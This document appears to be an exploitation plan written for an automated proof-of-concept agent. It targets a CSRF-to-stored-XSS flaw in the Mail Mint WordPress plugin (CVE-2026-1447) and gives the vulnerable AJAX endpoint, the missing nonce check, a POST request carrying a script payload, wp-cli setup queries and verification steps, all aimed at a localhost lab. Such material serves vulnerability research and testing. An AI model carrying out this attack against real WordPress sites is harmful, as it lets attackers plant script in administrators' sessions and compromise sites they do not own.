Exploitation Research Plan: CVE-2026-1447 (Mail Mint CSRF to Stored XSS)

1. Vulnerability Summary

The Mail Mint plugin (versions <= 1.19.2) contains a vulnerability where the create_or_update_note function, responsible for handling contact notes, does not perform any nonce validation. This allows an attacker to perform a Cross-Site Request Forgery (CSRF) attack. By tricking an authenticated administrator into submitting a malicious request, an attacker can create or modify notes on contacts. Furthermore, the note content is not properly sanitized before being stored and is not escaped upon output, leading to Stored Cross-Site Scripting (XSS).

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: mailmint_contact_create_or_update_note (inferred from plugin naming conventions; needs verification via grep)
• Vulnerable Parameter: note (or similar, carrying the text content)
• Authentication Level: Unauthenticated (via CSRF targeting an Admin)
• Preconditions:
  1. The plugin "Mail Mint" must be active.
  2. At least one contact must exist in the Mail Mint contact list (to attach a note to).
  3. An administrator must be logged in and tricked into visiting a malicious page.

3. Code Flow

1. Entry Point: The plugin registers an AJAX handler for the create_or_update_note function.
2. Hook Registration: Typically found in includes/ or admin/ classes:
   add_action( 'wp_ajax_mailmint_contact_create_or_update_note', array( $this, 'create_or_update_note' ) );
3. Vulnerable Function: create_or_update_note is invoked.
4. Missing Check: The function fails to call check_ajax_referer() or wp_verify_nonce().
5. Data Processing: The function retrieves the note content from $_POST['note'] (or similar) and saves it to the database (likely in a custom table wp_mailmint_contacts_notes or wp_mailmint_notes).
6. Sink (Stored XSS): When an administrator views the contact details in the Mail Mint dashboard, the saved note is retrieved and rendered without using esc_html() or wp_kses().

4. Nonce Acquisition Strategy

According to the vulnerability description, nonce validation is entirely missing. Therefore, no nonce is required to successfully trigger the create_or_update_note function.

If the agent finds that a nonce parameter is present in the code but not strictly validated (e.g., check_ajax_referer is called with die=false and the result is ignored), the exploit should proceed by omitting the nonce or providing a dummy value.

5. Exploitation Strategy

Step 1: Discovery

First, identify the exact AJAX action name and parameter names.

• Action: grep -r "create_or_update_note" /var/www/html/wp-content/plugins/mail-mint/
• Parameters: Identify the contact_id and the note content field name (likely note or content).

Step 2: Test Data Setup

Ensure a contact exists to target.

# Get the ID of the first contact
wp db query "SELECT id FROM wp_mailmint_contacts LIMIT 1;"

Step 3: Trigger CSRF (Stored XSS Payload)

The agent will use the http_request tool to simulate the administrator's browser submitting the request.

Request Details:

• Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Headers:
  • Content-Type: application/x-www-form-urlencoded
  • Cookie: [Admin Session Cookies] (The agent uses the authenticated session)
• Body:

  action=mailmint_contact_create_or_update_note&contact_id=1&note=<script>alert(origin)</script>
  

  (Note: Replace mailmint_contact_create_or_update_note, contact_id, and note with actual keys found in Step 1).

Step 4: Verification of XSS

The agent will navigate to the contact details page to trigger the XSS.

• Navigate: browser_navigate("http://localhost:8080/wp-admin/admin.php?page=mail-mint#/contacts/1") (Inferred path; verify via wp-cli or menu grep).

6. Test Data Setup

1. Plugin Activation: wp plugin activate mail-mint
2. Create Contact: If no contact exists, create one via WP-CLI or the UI to ensure there is a target for the note.

   # Example (inferred table name)
   wp db query "INSERT INTO wp_mailmint_contacts (email, first_name, last_name, status) VALUES ('victim@example.com', 'Victim', 'User', 'subscribed');"
   

3. Administrator Login: Ensure the PoC agent is operating with an active administrator session.

7. Expected Results

1. HTTP Response: The AJAX request to admin-ajax.php should return a success status (e.g., {"success":true} or similar), even though no nonce was provided.
2. Database State: The table wp_mailmint_contacts_notes (or equivalent) should contain a new row for the specified contact_id with the payload <script>alert(origin)</script> in the content column.
3. XSS Execution: Upon navigating to the contact management UI for that contact, the browser should execute the JavaScript.

8. Verification Steps

After the HTTP exploit, verify the impact using wp-cli:

# Check if the note exists in the database
wp db query "SELECT * FROM wp_mailmint_contacts_notes WHERE note LIKE '%<script>%';"

# Confirm no sanitization occurred
wp db query "SELECT note FROM wp_mailmint_contacts_notes ORDER BY id DESC LIMIT 1;"

9. Alternative Approaches

If the wp_ajax_ action name is different:

• Use browser_navigate to the contact page, open the Network tab, and manually create a note to see the actual AJAX request structure.
• Check if the vulnerability exists in admin-post.php handlers as well, as some Mail Mint functions might use that entry point.
• If the XSS is not in the note field, check for other unsanitized fields in the create_or_update_note function (e.g., title, tags, or metadata).